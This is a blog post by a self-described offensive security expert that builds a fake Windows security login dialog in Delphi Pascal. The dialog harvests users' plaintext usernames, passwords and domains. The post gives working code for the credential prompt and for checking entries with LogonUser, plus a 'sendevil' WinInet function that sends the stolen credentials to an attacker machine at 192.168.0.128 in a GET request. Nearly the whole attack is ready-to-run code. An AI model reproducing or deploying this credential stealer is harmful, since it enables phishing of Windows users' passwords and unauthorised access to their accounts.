intro
Table of Contents
I recently started to do Live streaming on twitch and youtube to cover some techniques and do some live coding sessions. The first try was great, and your support is one of the key factors I look for.
In this article, I will write a detailed description of the concept and how I used it to accomplish the mission to create a custom login validation dialog to steal windows users’ credentials and transfer the results into a remote attacker machine.
Recently, I saw some of the C++ codes that have been shared on Ired.team blog, it was a great job and helped me a lot. But our current mission is to use the well-known design of the windows validation dialog as exactly shown in the following picture with two win API calls.
Github: https://github.com/lawrenceamer/0xsp/tree/master/huntingcreds
Workstream
- Convert C++ windows MSDN API code into Delphi pascal
- Implement the code function
- Add windows validation using windows API call “LogonUserA.”
- Transfering correct results into the attacker machine.
Convert C++ windows MSDN API code into Delphi pascal
Windows MSDN library provides all windows API call functions documentation in C++ syntax. That’s good, but in our case, we have to do some heavy work to convert these calls to Delphi Pascal. Maybe you got through this while using pinvoke.net for C#. unfortunately, these documentations are not available for Pascal Language.
our lookup table is:
- CredUIPromptForWindowsCredentials (https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforwindowscredentialsa)
C++ Code
CREDUIAPI DWORD CredUIPromptForWindowsCredentialsA( PCREDUI_INFOA pUiInfo, DWORD dwAuthError, ULONG *pulAuthPackage, LPCVOID pvInAuthBuffer, ULONG ulInAuthBufferSize, LPVOID *ppvOutAuthBuffer, ULONG *pulOutAuthBufferSize, BOOL *pfSave, DWORD dwFlags );
Pascal Code
CredUIPromptForWindowsCredentials: function ( var pUiInfo : TCredUIInfo;dwAuthError:DWORD; var pulAuthPackage:ULONG;pvInAuthBuffer:PCardinal;ulInAuthBufferSize:ULONG; out ppvOutAuthBuffer: Cardinal; out pulOutAuthBufferSize: ULONG; pfsave: PVOID; dwFlags:DWORD): DWORD; stdcall;
- CredUnPackAuthenticationBuffer (https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credunpackauthenticationbuffera)
C++ code
CREDUIAPI BOOL CredUnPackAuthenticationBufferA( DWORD dwFlags, PVOID pAuthBuffer, DWORD cbAuthBuffer, LPSTR pszUserName, DWORD *pcchlMaxUserName, LPSTR pszDomainName, DWORD *pcchMaxDomainName, LPSTR pszPassword, DWORD *pcchMaxPassword );
Pascal code
CredUnPackAuthenticationBuffer: function (dwFlags:DWORD;pAuthBuffer:PVOID;cbAuthBuffer:DWORD;pszUserName:LPSTR; var pcchlMaxUserName:DWORD; pszDomainName:LPSTR; var pcchMaxDomainName:DWORD;pszPassword:LPSTR; var pcchMaxPassword:DWORD ): LONGBOOL; stdcall;
if we look closer to the MSDN documentation link, we see that some flags should be imported with API call as these parameters decide the behavior
converting that to Pascal is easy just by replacing 0x to $ char as the following
CREDUIWIN_GENERIC = $00000001; CREDUIWIN_CHECKBOX = $00000002; CREDUIWIN_AUTHPACKAGE_ONLY = $00000010; CREDUIWIN_IN_CRED_ONLY = $00000020; CREDUIWIN_ENUMERATE_ADMINS = $00000100; CREDUIWIN_ENUMERATE_CURRENT_USER = $00000200; CREDUIWIN_SECURE_PROMPT = $00001000; CREDUIWIN_PACK_32_WOW = $10000000;
Implement the code function
Start coding should be straightforward as we have added a valid API calls function, then we have to clarify Dll Library to import its functions.
Pascal code
CRED_MAX_USERNAME_LENGTH = 256;
CREDUI_MAX_PASSWORD_LENGTH = 256;
CRED_MAX_DOMAIN_TARGET_NAME_LENGTH = 256;
Cred = 'credui.dll';
CredUIPromptForWindowsCredentialsName = {$IFDEF UNICODE}
'CredUIPromptForWindowsCredentialsW'
{$ELSE}
'CredUIPromptForWindowsCredentialsA'
{$ENDIF};
CredUnPackAuthenticationBufferName = {$IFDEF UNICODE}
'CredUnPackAuthenticationBufferW'
{$ELSE}
'CredUnPackAuthenticationBufferA'
{$ENDIF}
Code language: PHP (php)
after that, we can craft our code to load CredUIPromptForWindowsCredentialsName function followed by the conditional case to validate the results based on exception handling
begin
lib := safeloadlibrary(cred);
if Lib <> 0 then`
try
CredUIPromptForWindowsCredentials := GetProcAddress(lib,CredUIPromptForWindowsCredentialsName);
CredUnPackAuthenticationBuffer := GetProcAddress(lib,CredUnPackAuthenticationBufferName);
if assigned(CredUIPromptForWindowsCredentials) and assigned(CredUnPackAuthenticationBuffer) then
begin
Code language: HTML, XML (xml)
if we have a closer look into C++ of a similar code block shared by ired.team blog, I should identify all Pascal variables.
type
PCredUIInfo = ^TCredUIInfo;
TCredUIInfo = record
cbSize : DWORD;
hwndParent : HWND;
pszMessageText : PChar;
pszCaptionText : Pchar;
hbmBanner : HBITMAP;
end
Then coding the calling function of both APIs to get the case result of CredUIPromptForWindowsCredentials and then using CredUnPackAuthenticationBuffer to convert the BLOB to string representations of the credentials.
As we need these string values to output the plain text formatted results to the remote attacker machine.
case CredUIPromptForWindowsCredentials(
CredInfo,AAuthError,lAuthPackage,nil,0,lOutBuffer,lOutBufferSize,@ASavePassword,CREDUIWIN_GENERIC or CREDUIWIN_CHECKBOX) of
NO_ERROR: begin
Zeromemory(@lusername,sizeof(lusername));
Zeromemory(@lPassword,sizeof(lpassword));
zeromemory(@lDomain,sizeof(lDomain));
Result := CredUnPackAuthenticationBuffer(0,pointer(loutbuffer),loutbuffersize,
@lusername,lMaxUsername,
@lDomain,lMaxDomainname,
@lpassword,lMaxPassword);
if result then
begin
Auser := string(lusername);
Apassword := string(lpassword);
ADomain := string(lDomain);
result := true;
end;
Code language: JavaScript (javascript)
finally, our main code is working perfectly as you can see it successfully load the Windows security validation dialog
Add windows validation using windows API call “LogonUserA.”
The next step is to validly supply user access information, whether it is correct or not, and then the attacker can make sure if the user has entered the correct credentials access.
if not Logonuser(@username[1],nil,@password[1],LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,TOKEN) then
// correct case
else
// not correct case
end;
Code language: JavaScript (javascript)
Transfering correct results into the attacker machine.
The final procedure is by sending entered user’s plain-text credentials. Using the Wininet component, we can send a GET request into the attacker machine supplied with sniffed credentials in the same URL.
Below is the code block to do GET requests in the wininet unit.
function sendevil(const Url: string): string;
var
NetHandle: HINTERNET;
UrlHandle: HINTERNET;
Buffer: array[0..1023] of Byte;
BytesRead: dWord;
StrBuffer: UTF8String;
begin
Result := '';
BytesRead := Default(dWord);
NetHandle := InternetOpen('Mozilla/5.0(compatible; WinInet)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
// NetHandle valid?
if Assigned(NetHandle) then
Try
UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
// UrlHandle valid?
if Assigned(UrlHandle) then
Try
repeat
InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
SetString(StrBuffer, PAnsiChar(@Buffer[0]), BytesRead);
Result := Result + StrBuffer;
until BytesRead = 0;
Finally
InternetCloseHandle(UrlHandle);
end
// o/w UrlHandle invalid
else
writeln('Cannot open URL: ' + Url);
Finally
InternetCloseHandle(NetHandle);
end
// NetHandle invalid
else
raise Exception.Create('Unable to initialize WinInet');
end
Code language: Delphi (delphi)
We can call that function in our final code block and add a conditional statement if the user has entered correct creds and then do a GET call with the status label as fail or success to know which credential is valid or randomly supplied.
var
username,password,domain:string;
savepassword:boolean;
TOKEN : Thandle;
begin
if not CredHunt('test','test',$0,username,password,domain,savePassword)
then
exit;
if not Logonuser(@username[1],nil,@password[1],LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,TOKEN) then
sendevil('http://192.168.0.128/failed'+username+password)
else
sendevil('http://192.168.0.128/success'+username+password);
end
Code language: Delphi (delphi)
as the shared POC below, we successfully grabbed valid access credentials into our attacking machine
Subscribe now
to get the latest live hacks series on twitch and youtube, please click on subscribe or follow
- http://twitch.com/0xsp
- https://www.youtube.com/c/LawrenceAmer
- telegram : @join0xsp
offensive security expert and founder of 0xsp security research and development (SRD), passionate about hacking and breaking stuff, coder and maintainer of 0xsp-mongoose RED, and many other open-source projects